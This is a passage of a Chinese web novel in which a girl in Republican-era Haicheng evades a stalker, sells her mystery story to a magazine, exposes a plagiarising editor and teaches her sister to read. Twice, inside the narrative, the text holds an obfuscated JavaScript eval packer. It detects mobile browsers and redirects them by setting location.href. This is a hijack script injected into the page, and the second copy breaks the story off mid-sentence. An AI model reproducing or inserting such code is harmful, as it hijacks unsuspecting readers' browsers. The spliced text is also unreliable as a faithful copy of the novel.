程锦云擦了擦手:“我跟你一起去吧?你一个人去,我不放心。” “不用,周太太那儿不远,我去去就回。你在家看着,别让生人在门口转悠。”程锦年说完,推门出去了。 她先去街口的糕点铺,买了两块桂花糕,用油纸包好。 上次租房子时周太太随口提过,来了海城这么多年再没吃过家乡的桂花糕,家里就她一个人爱吃甜的,平时也不好意思专门去买,程锦年立刻就记在心里。 沿着巷子走了十来分钟,到了周太太家的小楼。周太太已经起了,穿着一件素净的灰布褂子,头发用发夹别得整整齐齐,正坐在堂屋里喝茶。 看见程锦年来了,放下茶杯,脸上带着笑:“哟,锦年来啦?吃了吗?” “吃过了,太太。”程锦年把纸包递过去,“上次听您说起苏州的桂花糕,今早路过糕点铺,想着给您带两块尝尝,您看像不像家乡的味道。” 周太太接过纸包,打开一看,拈起一块咬了一口,嚼得很慢。嚼完了没说话,又咬了一口,这才拍了拍手上的碎屑,声音比平时轻了些:“像,真像,你这孩子,怎么还记得这事?” “您随口说的,我顺手记下了。”程锦年笑了笑,在周太太旁边坐下,“主要还是想感谢您对我们的照顾,租房子的时候您就帮了大忙,平时也没少惦记我们。” 周太太摆了摆手,眼睛却一直看着手里的桂花糕,又咬了一口,像是舍不得吃完。 她把纸包仔细包好放在桌上,拉着程锦年的手,叹了口气:“你这孩子,就是太懂事。说吧,今天来是不是有什么事?” 程锦年也不绕弯子:“太太,我想把院门和厨房门都加一把锁,窗户也再加固一下。” 周太太愣了一下,放下茶杯,仔细看了她一眼:“怎么突然想起来加锁?是门坏了还是?” 程锦年犹豫了一下,没瞒着:“太太,我跟您说实话。昨儿晚上从外面回来,巷子里有人跟着我。没看清是谁,但脚步声一直跟在后面,我绕了两条街才甩掉。我们两个姑娘住,心里不踏实。” 周太太脸色一变,眉头皱了起来:“有人跟着你?这还了得。”她沉默了一会儿,拍了拍桌子,“锁你别管了,我让人去给你换。锁匠我认得,手艺好,价钱也公道。钱我来出,算在我账上。” 程锦年连忙摆手:“太太,这怎么好意思,我们自己来就行。” “你们俩个姑娘家,手头又不宽裕,别跟我争这个。”周太太的语气不容商量,“这房子是我的,租给你们了,安全就得我负责。要是真出了事,我这心里能过得去吗?” 程锦年还想再推,周太太已经站起来,走到电话机旁,摇了个号,跟那头说了几句。挂了电话,她走回来拍了拍程锦年的手:“行了,锁匠下午过去,你别再推了。” 程锦年张了张嘴,最终没再说什么,只是低下头,声音放得很轻:“太太,谢谢您。” “谢什么,都是缘分。”周太太摆了摆手,又拉着她坐下喝茶,聊了几句家常,才放她走。 回到家,程锦云正在院子里扫地。程锦年把换锁的事跟她说了,末了补了一句:“周太太出的钱,我推都推不掉。” 程锦云沉默了一会儿,低声说:“周太太人真好,咱以后得记着人家的情。” 下午,锁匠来了,这是个四十来岁的汉子,手上全是老茧,肩上挎着工具包。 他在院子里转了一圈,把门窗检查了一遍,院门换了新锁,厨房门加了一道,窗户钉上了插销。 程锦云试了试,开合顺滑,锁舌咬得死死的。她把钥匙拔下来,递给程锦年一把,自己留了一把。 随后,姐妹俩把这几天的经过从头到尾捋了一遍。 “云姐,你觉着那人跟了我几天了?”程锦年先开了口。 程锦云想了想:“你说昨天才发现,可之前你有没有觉得不对劲?” “买文具那天,从文宝斋出来,好像有人多看了我几眼。但街上人多,我没在意。”程锦年掰着手指头,“后来去邮局、去旧书摊,都没什么异常。真正觉得被人跟着,是昨天从杂货铺出来。” “那……他到底想干嘛?” “没上来抢,不是劫道的,一直跟在后面,是想看我往哪儿走。我拐进杂货铺甩掉之后,他没再追,说明不是冲着伤人来的。”程锦年一条一条地列,“最大的可能,是踩点的。” “踩点?偷东西?”程锦云紧张地攥紧了围裙角,“可咱们也没什么值钱的啊……” “咱们是没有,可他不知道。”程锦年沉默了一会儿,“云姐,你再想想,这几天咱俩干了什么跟平时不一样的事?” 程锦云想了半天,摇了摇头:“没有啊,买菜、做饭、洗衣服,连门都很少出。” “那你出去买菜,有没有跟人聊过咱们家的事?” “没有,我都不敢多说话,生怕说漏嘴。” “我也没跟人说过。”程锦年皱了皱眉,“那他是怎么盯上咱们的?” 灶火噼啪响了一声,两个人沉默了一会儿,程锦年忽然抬起头:“云姐,你说……会不会是因为我买文具那天?” “买文具?”程锦云没反应过来。 “那天我从文宝斋出来,怀里抱着稿纸、墨水、钢笔。”程锦年把声音压低了,“这些东西在乡下人眼里不算什么,但在城里,普通人家也不会随便买。一个十六岁的姑娘,身上带着笔墨纸砚,一看就是读过书的。读得起书的人家,至少不是吃了上顿没下顿的。” 程锦云慢慢张大了嘴:“你的意思是……他觉得咱家有钱?” “不是真有钱,是觉得有闲钱。”程锦年纠正道,“买笔墨纸砚的人,至少不是吃了上顿愁下顿的。他可能就想,这姑娘住在这附近,家里应该有点家底。” 程锦云的脸色发白:“那……那怎么办?” “别慌。”程锦年按住她的手,“他还没跟到家门口,说明还不知道咱们具体住哪儿。这几天你别出门买菜了,家里还有存粮,够吃几天,我出去想办法。” “你出去?”程锦云的声音一下子拔高了,“那人跟着的就是你,你还出去?” “我不出去,怎么知道是谁?” “那也不行,一个人出去跟两个人出去比,哪个更安全?我要跟你一起。就算他急了,咱们也有个照应。” 程锦年看着她,觉得有道理,本来想着程锦云胆小,怕她拖后腿,所以没提,没想到她在这种情况下,会如此担心自己的安危:“好,云姐,你跟我一起。” 程锦云深吸了一口气:“行。” 随后,姐妹俩锁好门窗往外走。程锦年走在外侧,程锦云走在里侧,两人有一搭没一搭地说话,余光却一直扫着身后。 头两天什么也没发现。 第三天傍晚,两人从杂货铺出来,拐进一条窄巷子的时候,程锦年余光扫到身后不远处的街角,一个穿深色短褂的男人正假装低头看报纸。那张报纸他拿反了,长相就是程锦年印象中的那个跟踪者。 程锦年没回头,继续往前走,挽着程锦云的手紧了一下。程锦云立刻明白,收住脚步,假装蹲下来系鞋带,蹲下去的时候朝后面瞥了一眼,又站起来,若无其事地跟上。 两人走到报摊前停下来,老王认得她们,之前还跟自己答应过租房消息。他正要招呼,程锦年先开了口,声音不大不小:“王伯,这几天生意怎么样?” 老王叹了口气:“就那样,不好不坏,糊口呗。你们小姑娘家不知道,这年头做生意不容易,还不如有个稳定差事。” “可不是嘛。”程锦年顺着话头接过去,“我舅舅在巡捕房当差,好歹每个月有固定进项,不用看天吃饭。就是忙,整天不着家。” 老王来了兴趣,连忙问:“你舅舅在巡捕房当差?那可是好差事。” “好什么呀,忙起来连轴转,家里都顾不上。”程锦年叹了口气,就好像真的有这回事一样,“前几天他儿子过生日,我想着给孩子买份礼物鼓励他好好念书,就去了趟文宝斋,买了笔墨纸砚,花了不少钱。 本想着做长辈的不能省这个钱,结果这一花,手头就紧了,现在都没有余钱了,我还发愁这个月怎么过呢。还是因为舅舅平时对我们够照顾的,这钱省不掉,该花还是得花。” 老王感慨地点了点头:“你们知恩图报,不容易。” 程锦年笑了笑,又聊了几句家常。她一边说话,一边借着整理头发的动作,偏头往后看了一眼。那个跟着她们的人影还在,没有挪动。 “王伯,明早我还得去邮局寄封信,先回去了,您忙着。” 两人挽着胳膊转身往回走,程锦年没有回头,步子稳稳当当。 那个穿深色短褂的男人蹲在墙角,把刚才的话听得清清楚楚。巡捕房的舅舅,给外甥买笔墨纸砚当生日礼物,花了不少钱,手头紧了。 他本来想,这姑娘怀里抱着文房四宝,家里应该有点底子,跟了几天,还没下手呢,谁知道人家有个在巡捕房当差的亲戚。 有这层关系在,万一偷了被查出来,不是闹着玩的。而且听那意思,钱都买了礼物了,家里也没什么油水。 想到对方那普通的衣着,这几天看着也确实没有买过什么东西了,他盯着那两个挽着胳膊的背影看了一会儿,想着真晦气,没遇见肥羊,站起来拍了拍裤子上的灰,转身走了。 程锦云走出一段路,小声问:“还在吗?” 程锦年没回头,声音压得很低:“不知道,别回头,我们绕个路。” 两人绕弯子之后快步走回家,关上门,插上门闩。 程锦云靠在门板上长长地呼了一口气,程锦年走到窗前,掀开窗帘一角往外看了一眼,巷口空空荡荡。 这几天去杂货铺的时候,程锦年一直关心有没有回信,现在松了口气,她才有心思抽出来拆开。 打开一看,里面是《晨星报》的退稿,只有一张纸条:“来稿已阅,不适合本刊,谢谢。”连稿子都没附,她把纸条折好塞进抽屉。 还好,最起码其他家的反馈没来,不是全军覆没,程锦年只能这么安慰自己了。 接下来几天,那人再没出现过。程锦年又留心观察了几日,确认危机过去了。 而其他的回信,也都陆陆续续地到了。《大华日报》的回信说可以刊发,稿酬每千字五角。她把信收起来,这家可以考虑当保底。 另一封是《通俗文苑》的,只有半页纸:“……稿子留下,本刊安排编辑润色修改,署名用本刊一位前辈的名字,稿酬分你两成。”程锦年看完把信揉成一团,想了想又捡起来展平,折好放进去。不是要答应,是留下笔迹,避免后续被此人蒙骗了稿子。 《通俗小说杂志》的措辞热情,千字一元,比她预期的低,但总算是个正经录用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587581|205354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《远东文艺》的退稿信纸烫金,措辞客气得不像退稿,其实就是“我们不要”。 《文汇周报》的约稿信,千字一块五,是目前最高的。 还剩一家没回音,程锦年想知道那家没回音的到底能给什么价,决心再等一两天,要是还不回信,她就先答应出价最高的那一家。 等待的日子里,她没有干等,已经动笔开始琢磨起第二篇的大纲,尽量避免重复,先摸清市场口味和接受度再说,所以她打算换个爽文题材试一试。 她不知道的是,她的稿子正压在《海城小说月报社》编辑部柜子最底层的一沓来稿里。不是编辑故意压稿,是来稿太多了,老作者连载、特约专栏排着队等着发。新人的稿子,连拆封的优先级都排不上。 老周是在一个下雨的傍晚拆到《无名》的。那天编辑部没什么事,他把柜子里那沓积压的来稿搬到桌上,一份一份拆。大部分稿子扫一眼开头就知道水平,才子佳人,公子落难,翻来覆去就那几个花样。他机械地拆着,眼皮越来越沉。 拆到一份信封的时候,他没抱什么期待。信封上写着“林间月”,陌生笔名。他抽出稿纸,标题是《无名》。 老周有气无力地开始读,读到“阿蘅第一次写故事的时候”,他把稿纸凑近了看。读到第三次预言,他整个人僵住了,手里那几页纸微微发颤。他读了两遍,把稿纸小心翼翼地折好塞进贴身衣兜,拿起伞出了门。他没有回家,直接去了总编陈伯言家。 陈伯言正在吃晚饭,看到老周浑身湿透地站在门口,愣了一下。老周从衣兜里掏出那几页稿纸递过去,纸页被雨水洇湿了边角,但字迹清清楚楚。陈伯言接过去,站在玄关就着昏黄的灯泡读了起来。读完第三页,他转身走进了书房,把老周一个人晾在外面。 老周站在客厅等了大约一盏茶的工夫。陈伯言走出来,手里还捏着那几页稿纸,脸上的表情老周从来没见过。他问老周:“这个林间月,是谁?” 老周说不知道,投稿地址是邮政信箱,没见过人。陈伯言沉默了很久,最后说:“明天一早开会,这篇稿子,咱们要定了。” 次日,老周把《无名》的稿子传给在座的每一个人。办公室里安静了片刻,只有纸张翻动的沙沙声。 老孙第一个开口,推了推眼镜:“从文笔和结构看,乙等往上,甲等够不上。毕竟是新人,没名没姓的,新人价历来一块到两块,给乙等三块已经够意思了。甲等从来都是留给那几个老作者的,这是规矩。” 小赵不同意:“规矩是死的,稿子是活的,那几个老作者最近交上来的东西,有哪篇能让人一口气读完不撒手?” 老周没急着表态,从兜里摸出一根烟点上:“我干了二十年编辑,经手的稿子少说也有几千篇。名家的、新人的、凑数的、惊艳的,都见过。这篇东西……”他吸了一口烟,慢慢吐出来,“放在新人堆里,是独一份,不是文笔多么出色,是从未见过的反转,很新奇。” 老孙还想说什么,老周抬手打断了他,翻开稿纸的最后一页,指着一行字:“你们看看这里。” 所有人都凑过去看。那一行写着,余稿留存,稿费到后即寄。 社长孟鹤亭原本靠在椅子上闭目养神,听到这话睁开眼。 老周把稿纸递过去,他接过来看了几秒,忽然笑了:“只给三分之一,余稿等钱到了再给。地址留的是代收点,稿费要存局候领。一个新人,还没见过编辑的面,就知道给自己留后路。” 他把稿纸往桌上一拍,声音不大,但整个办公室都安静了。 “甲等。”他说,“千字四块,先留住这篇再说。” 老孙张了张嘴:“社长,这……” 孟鹤亭看了他一眼:“老孙,我知道你想说什么。规矩是给普通稿子定的,这篇不普通。今年我们发了那么多老作者的稿子,有几篇能让人拍着桌子说‘要定了’?” 他顿了顿,“再说,一个新人能写出这样的东西,还知道保护自己,将来不是池中物。现在不结这个善缘,等他成名了再去找他?反正真要是下篇不好,那就不采纳,咱们就只付了这一篇的高价稿费,也不算什么。 连编辑都觉得少见的内容,印出来,读者只会觉得更罕见,这篇能带给报社的利益,是大于稿费的。” 社长既然都这样说了,其他人自然没有意见。 没多久,程锦年照例去取信,看到信封上印着“海城小说月报社”的字样,心跳快了一拍。她没当场拆,攥着信封快步走回家。 抽出信纸,字迹工整有力,没有客套话,直奔主题。 “林间月先生:来稿《无名》已拜读,编辑部同仁传阅之后,一致认为此文悬念设置精妙、层层递进、直指人心。本刊愿意刊发,破例稿酬按甲等计算,每千字四块银元。按您的要求,先发三分之一,余稿请于收到汇款后寄来。” 信的末尾附了一行小字:“社长孟鹤亭先生嘱托:一个新人能写出这样的东西,将来必然成就非凡。先生提出的存局候领、余稿后寄等条件,本刊一律照办。稿费即日汇出,请查收。” 程锦年把这封信读了两遍,她把信纸放在膝盖上,盯着那行“每千字四块银元”看了好几秒。 五千字,二十块,加上手里剩下的几块,至少下个月的房租不用发愁了。 她长长地呼了一口气,攥着信纸的手指微微发抖。 她不需要挑了,就是这家。至于那些报刊动不动称呼她为某某先生,恐怕是因为不知道这是女性所写。 不过没关系,她有她的计划,现在不是正式暴露身份的时候,毕竟一个成年男性和一个少女所得到的对待,肯定是不平等的,先占够便宜再说。 5. 第 5 章 程锦年把那封录用信又看了一遍,铺开信纸,给《海城小说月报》回了信。 信写得很短,措辞客气但保持距离:“编辑先生:来函收悉,稿酬标准及刊发条件悉听尊便,余稿即日寄上。另,稿费请仍按原定方式汇至邮政第十七号信箱。” 她不想在信里流露太多情绪,一个字一个字写得工工整整,没有什么感情色彩。 程锦年把抽屉里锁着的那三分之二稿子取出来,从头到尾检查了一遍,确认没有错漏,装进信封。 整篇《墙缝》一共五千字左右,之前寄出去三分之一约一千六百字,现在补上剩余的三千四百字。 她在稿纸第一页的页眉处加了一行小字:“余稿共三千四百字,请查收。” 这件事算是暂时告一段落,就等明天去寄了,她把录用信收好,又翻出之前收到的那堆回信,一封一封重新看了一遍,翻到《通俗文苑》那封时,她停了一下。 落款处的“编辑:孙茂才”几个字,她总觉得在哪里见过。 当晚,她把这段时间攒下来的旧报纸全翻了出来,《通俗文苑》虽然是小报,但她在报刊亭买其他报纸时顺手带过几份。 她把最近半年的《通俗文苑》摊在桌上,一篇一篇地翻。 程锦年发现一个规律,一个叫“李翰文”的名字反复出现,但这个人写的文章,文风差距极大。 三月一篇《江湖奇侠传》,粗犷豪放,四月一篇《深闺怨》,细腻婉约,五月一篇《论时局》,引经据典,六月一篇《小城故事》,白话平实,完全不像同一个人写的。 她又翻回去看每篇文章末尾标注的责任编辑,李翰文的每一篇,责任编辑都是同一个人——孙茂才。 她在笔记本上把这些信息一行一行写下来,一个作者不可能同时写出风格迥异的文章,除非这些文章根本不是同一个人写的。 而所有文章的责编都是孙茂才,说明这些稿子都是经他之手发出的,联想到对方毫不客气索要署名权的行为,那么真相其实很明显了。 程锦年铺开信纸,写了一封信给《海城新报》的“文坛动态”栏目。 署名“一位关注文坛的新人作者”,把孙茂才猖狂的回信刻意模糊了时间、李翰文文章的对比分析、半年来的发表记录,一条一条列清楚,附在信里。 得罪她的人,她向来记得清清楚楚,有仇就报,决不内耗。 第二天一早,她先去邮局把回信和余稿还有举报信寄出去,同时告诉其他几个有诚意的报纸,这份小说已经决定好了不在本报刊登,对此感到很遗憾云云。 毕竟《海城小说月报》收这篇悬疑,又不代表收全部,她也不打算锁死在这个文风领域,该跟其他报社打好关系的,还是要维护好的,说不定下次就用到了。 程锦年又去了一趟邮政总局的柜台,柜台后面是个戴老花镜的老头,她递上取件号牌,报了“第十七号信箱”。 老头慢吞吞地翻了一阵,从抽屉里拿出一张汇款单,递给她。 程锦年接过来,看到上面写着“海城小说月报社”几个字,汇款金额是整篇稿费的三分之一,五千字,千字四块,全稿二十块,三分之一约六块六角,汇款单上写的清清楚楚,也是这个价。 她把汇款单捏在手心里,去窗口取钱,柜台里面的人点出六块银元,又数出六角银毫,就是六枚一角的银角子,从窗口推出来。 银元落在柜台上,哗啦啦响,她把银元银角一枚一枚捡起来,放进事先准备好的布袋里,再一起塞进衣兜最深处。 走出邮局的时候,强忍着摸口袋确认的欲望,害怕引来了小偷。 就在这时,系统突然开口:“宿主经济条件已有所改善,现在可以考虑置办行头了。” 程锦年脚步顿了一下,她没想到系统还记着上次她说的“三十块不够”那茬,当时系统沉默了一会儿就没再提,她还以为它放弃了。 现在看来,它一直在等,等她有了稳定收入来源就又冒出来了。 她心里有些烦,但没有顶回去。跟系统硬杠没用,它该催还是会催。 她想了想,顺着它的话说:“行头是要置办,但得知道怎么个置办法。我连顾晏清是什么性格都不了解,穿成什么样去接触?太招摇不行,太寒酸也不行,你总得让我有针对性地准备吧?” 系统没出声。 程锦年继续说,语气放软了些:“你光催我攻略,又不给我信息,我就算想接触也不知道往哪个方向使劲。不如你先告诉我他的基本情况,我才能制定策略。” 这话说得合情合理,程锦年清楚自己的真实目的,其实是想试探系统到底能给她多少信息,顺带拖拖时间,省得它整天在脑子里嗡嗡叫。 至于攻略,她根本腾不出手来。稿子要写,生活要安顿,哪一件不比攻略一个素未谋面的男人要紧。 系统沉默了片刻。 “顾晏清性格沉稳。”它说,“话不算多,但心里有成算。” 程锦年心里一动,她本来只是随口一问,没想到系统真的松了口,这是个机会,能探多少口风探多少。 她赶紧追问:“那他这样的性格,应该有点身份地位吧?” “那是自然,他可是海城商界的……”系统说到这里突然停了,像是反应过来什么,语气一变,“宿主,系统不建议过度依赖外部信息。攻略任务的核心在于双方互动,不是情报收集。你应该用自己的力量去观察、接触、判断,这才是获得好感度的正确方式。” 程锦年心里有些遗憾,本来还想再套点东西,没想到它这么快就警觉了,不过好歹知道了“海城商界”三个字。 她没再追问,也没把自己的真实想法说出来,如果系统可以调取很多信息,那么在以后她完全可以做出更多的尝试来。 “行吧。”她在心里应了一声,语气听起来像是被说服了,“我知道了,那我先按你说的,把形象弄好,其他的再说。” 系统没再说话。 程锦年并不觉得遗憾,反正这些信息是白来的,多少算一点。关键是,系统现在安静了。至于顾晏清,等她先把自己照顾好了再说。 想到前几天的投诉信,她心中一动,从邮局出来,专门绕了路,经过钱老板那栋楼。 正巧看到楼门口围了一堆人,钱老板站在中间,脸涨得通红,手里捏着一张纸,正扯着嗓子嚷嚷:“十五块,你们这是要我的命,别人家才罚五块,凭什么我十五块!” 一个穿制服的办事员站在他对面,手里拿着文件夹,面无表情:“钱老板,别人家罚五块,那是别人家的事。你这房子,有安全隐患,还私自改装,这个罚款合情合理,公事公办。” 钱老板气得浑身发抖:“你们……你们这是欺负人!” 办事员把文件夹一合,往前逼了一步:“不服可以申诉,先把罚款交了。” 钱老板的嘴张了张,又闭上了,他的脸从红变紫,从紫变白,最后咬着牙挤出几个字:“……我交。” 他从兜里摸出一叠皱巴巴的钞票,一张一张数出来,手都在抖。 办事员接过去,开了收据,“做好整改,几天后我还会再来,整改不到位,还会再罚款。” 程锦年站在人群里,她看到这件事落幕,转身走了。 她没有告诉任何人那封信是她写的,想来这番折腾已经足够让吝啬的钱房东心痛了,也算是给她出了口恶气。 事情过了就过了,这种小角色不值得她再多花心思,除非对方又犯到她手里。 眼下程锦年开始盘算起来,林知秋给的三十块,押一付一房租花了十六块,纸笔一块五,给姐姐买菜买油两块,衣裳鞋子加上在外头吃了一顿饭花了六块,一共花出去二十五块五,手里还剩四块五。加上这六块六,统共十一块一。 这已经不是小数目了,等到剩下稿酬寄过来会更加宽裕,现在有了挣钱路子,也不用那么紧巴巴。她深吸一口气,决定进行大采购。 她跟姐姐这三天就穿了那一身衣服,这可不是长久办法,而且房东照顾她们,她也不能不买礼物表示表示,人情往来,有来有往才是王道。 *** 程锦云舍不得买太多的米面,一大袋糙米,每次只舀半碗,熬得稀稀的,多加水,能撑到晚上。 她自己喝两碗,给妹妹留三碗,粥底沉下去的米粒大半都舀到妹妹碗里。 就算是这样,看着一日日矮下去的米缸,她在暗自发愁,妹妹说能找到挣钱的路子,可这么多天过去了,钱在哪里? 她不知道妹妹在做什么,但她知道妹妹在做一件大事。她帮不上忙,只能把家务做好,不让妹妹分心。 她也不敢问出来,怕给妹妹添压力。夜里睡不着的时候,程锦云躺在床上一动不动,听着妹妹均匀的呼吸声,在心里算账:房租八块,水电费还没交,手里的钱一天天在少,撑不了一个月了,怎么办? 她翻了个身,把被子蒙住头,不让自己想下去。 今天妹妹出门的时候,没有像往常一样说“我去忙了”,而是说“我去邮局取钱”。 程锦云以为听错了,追到门口想问,妹妹已经走远了。她站在门槛上,看着妹妹的背影消失在巷口,心里七上八下的。 取钱?取什么钱? 她坐不住,把灶房擦了三遍,把院子扫了两遍,她不知道该做什么,只知道不能让手停下来。一停下来,脑子就会乱想。 程锦年推开院门的时候,程锦云正蹲在灶房门口,对着一堆柴火发呆。 “云姐。” 程锦云猛地站起来,看到她从怀里掏出个鼓起的布袋,愣住了。 “锦年……这是什么?” 程锦年没说话,拉着姐姐进了堂屋,把布袋里的银元倒在桌上。银元摞成一叠,银角子另放一旁,白花花的,在午后的阳光里泛着柔和的光。 程锦云的眼睛一下子瞪大了,她张着嘴,说不出话,伸出手想摸一下那些银元,又缩了回去。 “锦年……哪儿来的?这么多钱……”她的声音发颤。 “我写的文章,发表了,这是稿费。”程锦年把那封录用信从衣兜里掏出来,放在桌上。 “一篇五千字的小说,千字四块,全稿二十块,这是第一笔,后面还有。云姐,别怕,咱们有钱了。” 程锦云盯着那封信,她不认字,但她看到了妹妹嘴角压不住的笑意。 她的眼泪一下子掉了下来,伸手抓住妹妹的袖子:“锦年……你什么时候会写文章了?难不成这也是仙女告诉你的?” 程锦年早料到姐姐会问这个问题,毕竟原身可是文盲一个,现在她不禁感慨起自己的先见之明。 她把姐姐按在椅子上坐下,从灶房倒了两碗水,一碗递给姐姐,一碗自己端着。 “云姐,你说的不错,这也是仙女点化的结果。” 程锦云双手合十,十分感激:“多谢仙女慈悲,给了我们一条生路。” 看着她眼角的泪痕,程锦年替她擦了擦眼泪:“云姐,别哭了。” 想到姐姐还是个文盲,这段时间她一直表现的也很好,要是真想让她成为自己的左膀右臂,最好还是让她认字,那样才能帮上大忙。 程锦年便有了决定:“从今天起,我教你认字,每天五个,一年就能认一千多个,等你看得懂报纸了,就能看懂我写的文章了。” 程锦云愣在那里,抬起满是泪痕的脸:“我?我都这么大了……” “十八岁不算大。”程锦年的语气没有商量余地,“认了字,你就能自己看报纸,自己写信,不用靠任何人。” 程锦云低下头,攥着衣角,过了好一会儿,小声说了一句:“我怕我学不会……” “我教你,你就能学会。” 程锦云抬起头,看着妹妹的眼睛。那双眼睛太笃定了,像从来不会出错一样,她咬了咬嘴唇,点了点头。 程锦年站起来,把桌上的银元分成几份,推了一份到姐姐面前:“云姐,你拿着这些,以后用来买肉吃,咱们俩太虚弱了,不能继续这样喝稀粥啃菜叶,得补充营养,剩下的,咱们今天花。” “花?买什么?” “先买衣裳鞋袜,再买教你认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就这模样,穿上这两件衣裳,跟“打扮”有半个铜板的关系? 系统居然觉得这就算“置办行头”了,看来它对“形象”的要求,还真不是一般低。 程锦年心里觉得好笑,但转念一想,这反而是好事。它要求低,自己就好糊弄。 她连忙在心里回应,语气要多积极有多积极:“没错,你看我多积极,你一说我就立马行动了。买衣裳、置办行头,距离攻略目标又近了一步。” 系统似乎很满意,停顿了片刻后说:“不错,宿主已经开始行动,这是好的开端,保持这个势头。” 程锦年强忍着要笑出来的欲望,面上还要维持一副认真的表情。她想象了一下那个画面,这所谓的男主顾晏清,想来是天之骄子一样的人物。 而自己在系统催促下,以现在的状态来“攻略”他。她越想越觉得荒唐,嘴角差点没压住。 可系统居然没觉得有什么不对劲,它一本正经地夸奖她“行动力强”,好像她真的在朝着攻略目标大步迈进。从某种意义上来讲,系统还挺看得起她的。 程锦年心想,自己倒是应该学习一下系统对自己爆棚的信心。 不管条件多差,先把自己该做的事做了,该买的买了,剩下的交给时间。它那种盲目乐观但又莫名笃定的劲头,用在别的事情上说不定也挺管用。 她抱着衣裳继续往前走,脚步轻快了几分。系统没再说话,但她们之间的氛围一时之间竟然有些其乐融融。 投稿也不能停,想到这里,程锦年又拐进大新街口的一家杂货店。 她先买了两刀稿纸,一刀一角五,两刀三角。墨水还有半瓶,不用买。然后她看到柜台角落里摆着几样东西,一块巴掌大的小黑板,边角磨圆了,配几支石笔,一共一角钱。 旁边还有一摞描红本,封面上印着“蒙童习字册”,一本五分。程锦年把小黑板和描红本都买了,又买了两支铅笔,一支三分。 “这是什么?”程锦云凑过来看。 “教你认字用的。”程锦年把小黑板塞进姐姐怀里,“回家我先教你写自己的名字。” 程锦云抱着那块小黑板,低头看了好久,颤抖着触碰石板:“我居然……也能写字,我这种村姑也配吗……真是想不到,我都不敢信……” 程锦云显然很自卑,程锦年自然不会坐视不理:“云姐,别这样说自己,我也是村姑,村姑也有着可以识字的权利,你看我就是认了字,这才有了挣钱机会。多掌握手艺是没错的,总能用的上。” 程锦云咬了咬嘴唇:“我……就是太高兴了。” “明白,以后上几天课就好了。” 程锦年又买了一小包糕点,用油纸包着,扎上红绳,花了四角。 这是给周太太的谢礼,周太太的房租从十块降到八块,又只收押一付一,还帮忙联系了锁匠挂账,这份情谊不能不记着。 她现在没有大钱,花钱的地方又多,只能略微买点小东西,好在这年头,大家平时送礼物,也多半是提着糕点,好些的买点茶叶就行了。 这样也不显得她失礼。 回到家,程锦云把新买的衣裳叠好放进衣柜,又把那块小黑板摆在桌上,看了又看,舍不得碰。 程锦年把那包糕点放在一旁,从灶房端了一碗水过来,拿起石笔,在小黑板上一笔一划写了三个字:程、锦、云。 “这是你的名字,程锦云。” 程锦云盯着那三个字,嘴里跟着念:“程……锦……云……” “你用手指在沙盘上描一遍。”程锦年指了指灶房门口那个旧木盆,里面装了半盆细沙,是她回来路上顺手在工地装回来的。 程锦云蹲下来,伸出手指,在沙面上歪歪扭扭地描了一个“程”字,禾字旁写得太宽,右边的口字写成了三角形,她自己看着都笑了。 “多练就好。”程锦年说。 窗外,天色暗了下来,灶房里飘出米粥的香气,程锦云在粥里加了一把切碎的白菜,又卧了两个鸡蛋,一个给妹妹,一个给自己。她很久没有给自己煮过鸡蛋了,现在终于舍得尝一尝。 程锦年喝着粥,其实今天买的东西不多,但是家里的氛围却不再紧绷了,那种衣食无着的失落感褪去,终于能让人好好放松一下。 6. 第 6 章 程锦年把采买回来的东西归置好,在心里把账算了一遍。林知秋给的三十块,各项花销加上第一笔稿费六块六,去掉采购花费,还有代收信件,每次两铜板,7封信就是14铜板,剩三块二角五分钱。 房租八块还没着落,但下笔稿费过几天就到,所以暂时不用着急。 她把钱分别藏好,压进枕头底下、缝在衣服里,虽然钱不多,但是家里也要防再有小偷一锅端。 如果是几天前,她不敢这么干,把房租钱花了,万一稿费不来怎么办?但现在她敢了。 不是因为钱多了,是因为她知道,就算这笔稿费不来,她也能再写一篇。第一次投稿的时候她心里没底,不知道这条路走不走得通。现在路走通了,她就不怕了,至少,她敢试一试了。 *** 几天后,《海城小说月报》编辑部正在排版。 老周拆到后半截投稿时,随手翻了一下开头就没能放下,那篇《无名》一口气读完,他靠在椅背上盯着天花板看了好一会儿。 他起身去找陈伯言,把稿子递过去,陈伯言看完沉默了片刻:“现在开会,这篇稿子不等下期了,这期就要上。” 老周愣了一下:“这期版样都排得差不多了,老孙、小赵的稿子都定了,吴先生的也占好了头版,他跟咱们约稿的时候就说好了这期轮到他上头版。 甲级作家们轮流来,上期是周先生,这期是吴先生,下期是李小姐,突然把人撤了怕是不好交代。” “先开会再说。” 编辑部几个人围在桌前,老周把《无名》的稿子放在最上面,陈伯言翻了翻又递给了社长孟鹤亭。 孟鹤亭端起紫砂壶抿了一口,把《无名》慢慢看了一遍,放下稿子没有表态,而是从桌上翻出吴先生最近几期发表的文章,一页一页地翻。 翻到第二篇时他眉头皱了一下,翻到第三篇他把稿纸往桌上一搁:“老周,你说吴先生这半年写的都是些什么东西?” 他指了指其中一篇,“这篇书生赶考遇狐仙,老掉牙的套路,文笔干巴巴的连个像样的转折都没有。还有这篇才子佳人,看了开头就知道结尾,这叫文章?这叫糊弄。” 办公室里安静下来,老孙端着茶杯不敢出声,小赵低着头假装看稿。 “我不是说他以前写得不好,以前是好,但那是以前。这半年他自己算算,有几篇拿得出手的?仗着老资历越来越不把报社当回事了,约稿催三遍才交,交上来的东西平平无奇,连个让人眼前一亮的句子都找不出来。” 孟鹤亭站起来背着手走了两步,回过头,“咱们这儿又不是养老院,光靠倚老卖老吃老本门儿都没有,稿子好不好读者说了算,谁有本事谁上这是规矩。这期头版就定这篇《无名》,吴先生那边我去说。” 